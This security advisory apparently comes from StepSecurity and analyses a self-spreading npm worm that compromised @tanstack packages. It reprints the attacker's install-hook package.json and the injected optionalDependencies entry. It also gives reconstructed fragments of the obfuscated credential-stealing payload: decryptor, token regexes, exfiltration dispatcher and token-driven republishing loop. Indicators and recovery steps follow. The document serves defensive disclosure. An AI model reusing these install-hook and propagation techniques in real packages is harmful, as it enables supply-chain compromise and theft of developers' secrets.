Active Incident: This attack is still spreading.
We have notified maintainers for the compromised packages.
On May 11, 2026, the Mini Shai-Hulud worm, a self-propagating malware that spreads by stealing CI/CD secrets, compromised several @tanstack npm packages, collectively downloaded millions of times per week. The attack injected a 2.3 MB obfuscated credential-stealing payload into one of the most widely used React routing libraries and published the malicious versions through the project's own GitHub Actions release pipeline using hijacked OIDC tokens, making it the first documented case of a self-spreading npm worm that carries valid SLSA provenance attestations. The worm has since spread beyond TanStack to other packages in the npm ecosystem.
StepSecurity's OSS Package Security Feed detected the compromised releases and is tracking the attack's spread in real time.
If you have installed any of the compromised versions listed below, especially in a CI/CD environment, assume all secrets accessible in that environment are compromised. Rotate tokens immediately.
Compromised Packages
This list is growing. Monitor the StepSecurity OSS Security Feed for the latest affected packages.
How the Attack Works
The attack uses a dual-payload delivery mechanism: a malicious optionalDependencies entry that executes code at install time, and an embedded obfuscated JavaScript file that can be invoked directly. Both payloads steal CI/CD secrets and exfiltrate them to attacker-controlled infrastructure.
Step 1: Staging the Payload in a Fork
The attacker created a fork of TanStack/router on May 10, 2026, and pushed a single commit (79ac49ee) containing two files:
1. package.json defines the fake @tanstack/setup package:
{
"name": "@tanstack/setup",
"version": "1.0.0",
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
},
"dependencies": {
"bun": "^1.3.13"
}
}
The prepare lifecycle hook runs automatically when the dependency is installed via a github: URL. The trailing && exit 1 is deliberate: it causes the optional dependency to "fail" gracefully, leaving minimal traces in logs while the payload has already executed.
2. tanstack_runner.js is a 2,339,346-byte single-line obfuscated JavaScript file (the primary malicious payload).
Because this commit lives in the attacker's fork, it is reachable via GitHub's shared object storage at github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c, a URL that appears to reference the legitimate TanStack/router repository.
Step 2: Injecting the Payload into Published Packages
Two modifications were made to each compromised package, compared to its clean predecessor:
Modification 1: A new optionalDependencies field was added to package.json:
// Added to every compromised package
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}Modification 2: A file named router_init.js (2,341,681 bytes) was placed at the package root.
The files field in package.json only lists ["dist", "src"], so router_init.js should not be included in the published tarball. Its presence confirms the tarball was tampered with outside the normal build process.
A side-by-side comparison of the clean and compromised versions makes the injection obvious:
Step 3: Publishing via the Legitimate CI/CD Pipeline
The compromised packages carry valid SLSA provenance attestations, issued by npm's Sigstore-based signing infrastructure, tied to the legitimate TanStack/router Release workflow:
// SLSA Provenance from compromised @tanstack/router-generator@1.166.48
{
"predicateType": "https://slsa.dev/provenance/v1",
"predicate": {
"buildDefinition": {
"buildType": "https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1",
"externalParameters": {
"workflow": {
"ref": "refs/heads/main",
"repository": "https://github.com/TanStack/router",
"path": ".github/workflows/release.yml"
}
}
},
"runDetails": {
"builder": { "id": "https://github.com/actions/runner/github-hosted" },
"metadata": {
"invocationId": "https://github.com/TanStack/router/actions/runs/25691781302/attempts/1"
}
}
}
}The workflow run 25691781302 was triggered by a legitimate push to main. Its "Run Tests" step failed, so the normal "Publish Packages" step was skipped. Yet the packages were published during the same window. The malicious code exploited the workflow's ambient OIDC token (id-token: write) to publish directly to npm, bypassing the workflow's own publish step.
This is a critical insight: SLSA provenance confirms which pipeline produced the artifact, not whether the pipeline was behaving as intended. A compromised build step can produce a validly-attested but malicious package.

The Malicious Payload: router_init.js
The payload, identical across all compromised @tanstack packages (SHA-256: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c), is a 2.3 MB single-line JavaScript file using heavy obfuscation.
Obfuscation Layers
The code employs multiple layers of obfuscation to resist static analysis:
- Hexadecimal variable names: All variable and function names use the
_0xprefix pattern (e.g.,_0x5b1880,_0x253b), with 163 unique hex variables in the first 10 KB alone. - String table rotation: A large array (
_0x4396) holds encoded strings, accessed indirectly through a resolver function (_0x253b). The array is shuffled at startup via an IIFE that rotates elements until a checksum matches (0x79e08). - AES-256-GCM encryption: Sensitive strings (domains, paths, token patterns) are encrypted. A function named
beautify()performs a first decoding pass, then a second functionw8()decrypts using AES-256-GCM and decompresses with gzip:
// Reconstructed w8() decryption function (deobfuscated)
import { createDecipheriv } from 'crypto';
function w8(key, encryptedData) {
let keyBuf = Buffer.from(key, 'base64');
let dataBuf = Buffer.from(encryptedData, 'hex');
let iv = dataBuf.subarray(0, 12); // 12-byte IV
let authTag = dataBuf.subarray(12, 28); // 16-byte GCM auth tag
let ciphertext = dataBuf.subarray(28); // remaining ciphertext
let decipher = createDecipheriv('aes-256-gcm', keyBuf, iv);
decipher.setAuthTag(authTag);
let decrypted = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
return new TextDecoder().decode(Bun.gunzipSync(decrypted));
// ^^^ requires Bun runtime
}The code contains 396 unique encrypted string constants decoded via beautify(), covering domain names, URL paths, token patterns, file paths, and command strings.
Credential Collection
The payload uses 10 dedicated collector classes to harvest secrets from multiple sources. The payload explicitly defines regex patterns to match GitHub token formats:
// Extracted from obfuscated code: token matching patterns
{
ghsjwt: /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g, // GitHub JWT tokens
ghs_old: /ghs_[A-Za-z0-9]{36,}/g // Legacy GitHub server tokens
}CI/CD Environment Detection
The malware reads multiple GitHub Actions environment variables to determine if it is running in a CI pipeline and to gather context about the target:
GITHUB_WORKFLOW_REFidentifies the specific workflowGITHUB_REPOSITORYis the repository being builtGITHUB_REPOSITORY_IDis the numeric repository identifierGITHUB_EVENT_NAMEis the trigger type (push, pull_request, etc.)GITHUB_SERVER_URLis the GitHub instance URL
The function Ij() checks whether the current workflow and repository match specific targets, suggesting the worm can behave differently depending on which project it is executing inside. This allows it to prioritize high-value targets for deeper exploitation.
Module Imports
The payload's import statements reveal the full scope of its capabilities:
The combination of execSync, spawn, generateKeyPairSync, and sign indicates the worm can not only steal credentials but also generate key pairs and sign artifacts, consistent with the ability to publish authenticated packages to npm.
Exfiltration Infrastructure
Stolen credentials are sent to an attacker-controlled server over HTTPS (port 443). The exfiltration uses a buffered dispatch system:
// Reconstructed from obfuscated main function wj()
let config = {
domain: beautify(encrypted_domain), // AES-encrypted, resolved at runtime
port: 0x1bb, // 443 (HTTPS)
path: beautify(encrypted_path), // AES-encrypted endpoint path
dry_run: false // NOT a test, live exfiltration
};
let dispatcher = new gK({
senders: [networkSender, fileSender, fallbackSender],
preflight: true,
dryRun: false
});
let buffer = new bK({
flushThresholdBytes: 0x19000, // 102,400 bytes: batches data before sending
dispatch: dispatcher.send
});The use of multiple sender classes provides redundancy. If one exfiltration channel fails, others serve as fallbacks.
The Self-Propagation Mechanism
What makes the Mini Shai-Hulud worm especially dangerous is its ability to spread autonomously. The code at the end of the payload processes stolen tokens and uses them to infect additional packages:
// Reconstructed from the tail of router_init.js (deobfuscated)
// After collecting tokens, the worm processes them:
if (!networkSender?.isSuccessful()) {
let fallbackResult = await fallbackSender.tryCreate(collectedTokens);
}
// For each discovered GitHub token:
for (let token of matches.ghs_old) {
await new tq(token).execute(); // uses stolen token to compromise more packages
}
for (let token of matches.ghs_jwt) {
await new tq(token).execute(); // same for JWT tokens
}
// Final cleanup
await buffer.flush();
OV(); // cleanup function: removes temp files
process.exit(0); // silent exit
The tq class takes a stolen token and uses it to authenticate against the npm registry or GitHub API, identify other packages the token has write access to, inject the same malicious payload, and publish new compromised versions. This is the worm's propagation loop.

Indicators of Compromise
Malicious Payload Hashes (SHA-256)
router_init.js(embedded in all @tanstack packages):ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266ctanstack_runner.js(from git commit):2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96@tanstack/setuppackage.json:7c12d8614c624c70d6dd6fc2ee289332474abaa38f70ebe2cdef064923ca3a9b
Attacker Infrastructure
- GitHub account:
voicproducoes(ID: 269549300), created 2026-03-19 - Email:
voicproducoes@gmail.com - Fork:
voicproducoes/router(fork of TanStack/router, created 2026-05-10) - Malicious commit:
79ac49eedf774dd4b0cfa308722bc463cfe5885c - Worm marker repos:
siridar-ghola-567,tleilaxu-ornithopter-43, described as "A Mini Shai-Hulud has Appeared" - Exfiltration port: 443 (HTTPS)
- Exfiltration buffer flush threshold: 102,400 bytes (0x19000)
Detection Signals
- Presence of
router_init.jsat the package root (not indist/orsrc/) optionalDependenciespointing to agithub:URL with a specific commit hash- Package size anomaly: compromised tarballs are ~900 KB vs ~190 KB for clean versions
- Two versions of the same package published within minutes (double-tap pattern)
preparescript in a dependency that runs an obfuscated.jsfile via Bun- Outbound HTTPS connections during
npm installor build steps
Am I Affected?
1. Check Your Lockfiles
Search for compromised versions in your dependency tree:
# For npm
grep "@tanstack/" package-lock.json | grep -v node_modules
# For pnpm
grep "@tanstack/" pnpm-lock.yaml
# For yarn
grep "@tanstack/" yarn.lock
# Also check for non-TanStack affected packages
grep -E "(draftlab|draftauth|taskflow-corp|tolka)" package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null
Cross-reference the resolved versions against the compromised versions tables above.
2. Check for the Malicious File
# Search node_modules for the injected payload
find node_modules -name "router_init.js" -type f 2>/dev/null
# Search for the malicious optional dependency
grep -r "@tanstack/setup" node_modules/*/package.json 2>/dev/null
3. Check CI/CD Logs
Search your GitHub Actions logs for evidence of the worm executing:
- Any reference to
@tanstack/setupduring dependency installation - Unexpected outbound network connections during build/test steps
bun run tanstack_runner.jsin process logsrouter_init.jsappearing in file system operations
Recovery Steps
For Individual Developers
- Pin to safe versions: Downgrade to the last clean version for each affected package (see table above).
- Delete
node_modulesand reinstall:rm -rf node_modules && npm install - Rotate credentials: If you ran
npm installwith a compromised version, rotate any npm tokens, GitHub PATs, and cloud API keys accessible on that machine. - Check for
~/.npmrcexfiltration: The worm readshomedirand file system secrets. Review~/.npmrcfor stored tokens and rotate them.
For CI/CD Environments (Critical)
- Rotate all CI secrets immediately: GitHub tokens, npm tokens,
NX_CLOUD_ACCESS_TOKEN, cloud provider credentials, and any other secrets available in the workflow environment. - Audit GitHub Actions runs: Review runs that occurred after the compromised versions were published (after 2026-05-11T19:20Z). Look for unexpected npm publish events.
- Check for downstream propagation: If any of your packages were published during a CI run that installed a compromised version, those published versions may also be compromised.
- Review npm access tokens: Run
npm token listand revoke any tokens you don't recognize.
For the Community
- Monitor the StepSecurity OSS Package Security Feed for newly compromised packages as this worm continues to spread.
- Use StepSecurity Harden Runner in your GitHub Actions workflows to detect and block anomalous outbound network connections, unauthorized process executions, and file system tampering during CI/CD.
- Consider adding
--ignore-scriptstonpm installin CI and running lifecycle scripts explicitly for known dependencies. - Verify package integrity with
npm audit signatures, but remember that valid provenance does not guarantee safety, as this attack demonstrated.
Key Takeaway
This attack demonstrates that the npm ecosystem's trust model has a fundamental gap: provenance attestations prove where a package was built, not what was built. A worm that compromises a CI/CD pipeline inherits the pipeline's identity: its OIDC tokens, its SLSA signatures, its trusted publisher status. From the registry's perspective, the malicious publish is indistinguishable from a legitimate one.
Defending against this class of attack requires runtime visibility into CI/CD pipelines: monitoring the actual network connections, process executions, and file system changes that occur during builds, not just verifying the provenance label on the output.
The StepSecurity OSS Package Security Feed will continue to be updated as this incident evolves and new compromised packages are identified.

.png)
.png)
